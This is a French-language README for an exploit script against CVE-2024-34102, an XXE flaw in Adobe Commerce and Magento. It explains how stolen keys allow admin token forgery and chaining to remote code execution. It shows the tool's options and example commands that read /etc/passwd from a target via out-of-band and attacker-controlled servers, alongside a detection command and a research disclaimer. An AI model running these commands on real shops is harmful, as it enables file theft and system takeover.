
CosmicSting: vulnérabilité XXE critique non authentifiée dans Adobe Commerce et Magento (CVE-2024-34102)
CVE-2024-34102 est une grave faille de sécurité résultant d'une gestion incorrecte de la désérialisation imbriquée dans Adobe Commerce et Magento. Cette vulnérabilité permet aux attaquants d'exploiter des entités externes XML (XXE) lors du processus de désérialisation, pouvant potentiellement permettre l'exécution de code à distance. En bref, les attaquants peuvent élaborer des charges utiles JSON malveillantes qui, une fois désérialisées par l'application, instancient des objets avec des propriétés ou comportements non intentionnés. Cela pourrait entraîner divers risques de sécurité.
L'exploitation de cette vulnérabilité permet aux attaquants d'obtenir un accès administrateur non autorisé à l'API REST, à l'API GraphQL ou à l'API SOAP, pouvant entraîner un vol de données, une interruption de service et une compromission complète des systèmes affectés. Cette vulnérabilité présente un risque important en raison de sa capacité à exfiltrer des fichiers sensibles, tels que app/etc/env.php, contenant les clés cryptographiques utilisées pour l'authentification. Les attaquants peuvent exploiter cela pour forger des jetons d'administrateur et manipuler les API de Magento en tant qu'utilisateurs privilégiés.
De plus, CVE-2024-34102 peut être enchaîné avec d'autres vulnérabilités, telles que l'exploitation des chaînes de filtres PHP (CVE-2024-2961), menant à une exécution de code à distance (RCE). Les implications plus larges des vulnérabilités d'entités externes XML (XXE) permettent aux attaquants de récupérer et de manipuler des données provenant de sources externes, ce qui aggrave l'impact potentiel sur les systèmes compromises.
usage: exploit.py [-h] --target TARGET --read-file READ_FILE [--oob-server OOB_SERVER] [--host-server HOST_SERVER]
Exploit script for XXE vulnerability
options:
-h, --help show this help message and exit
--target TARGET, -t TARGET
Target URL (http(s)://ip[:port])
--read-file READ_FILE, -r READ_FILE
File to read from the remote host
--oob-server OOB_SERVER, -ob OOB_SERVER
OOB server URL (http(s)://ip[:port])
--host-server HOST_SERVER, -hs HOST_SERVER
Host server URL (http(s)://ip[:port])
Exemples
# Run with local attacker server and local OOB server
python3 exploit.py -t https://magento.test -r "/etc/passwd"
# Run with remote attacker server and remote OOB server
python3 exploit.py -t https://magento.test --oob-server http://xxx.oasitfy.com --host-server https://remote-attacker-server.com -r "/etc/passwd"
# Detection
python3 detect.py -t https://magento.test
Ce script d'exploitation a été créé uniquement à des fins de recherche et pour le développement de techniques défensives efficaces. Il n'est pas destiné à être utilisé pour des activités malveillantes ou non autorisées. L'auteur et le propriétaire du script déclinent toute responsabilité pour tout usage abusif ou tout dommage causé par ce logiciel. Les utilisateurs sont invités à utiliser ce logiciel de manière responsable et conformément aux lois et règlements applicables. Utilisez-le de manière responsable.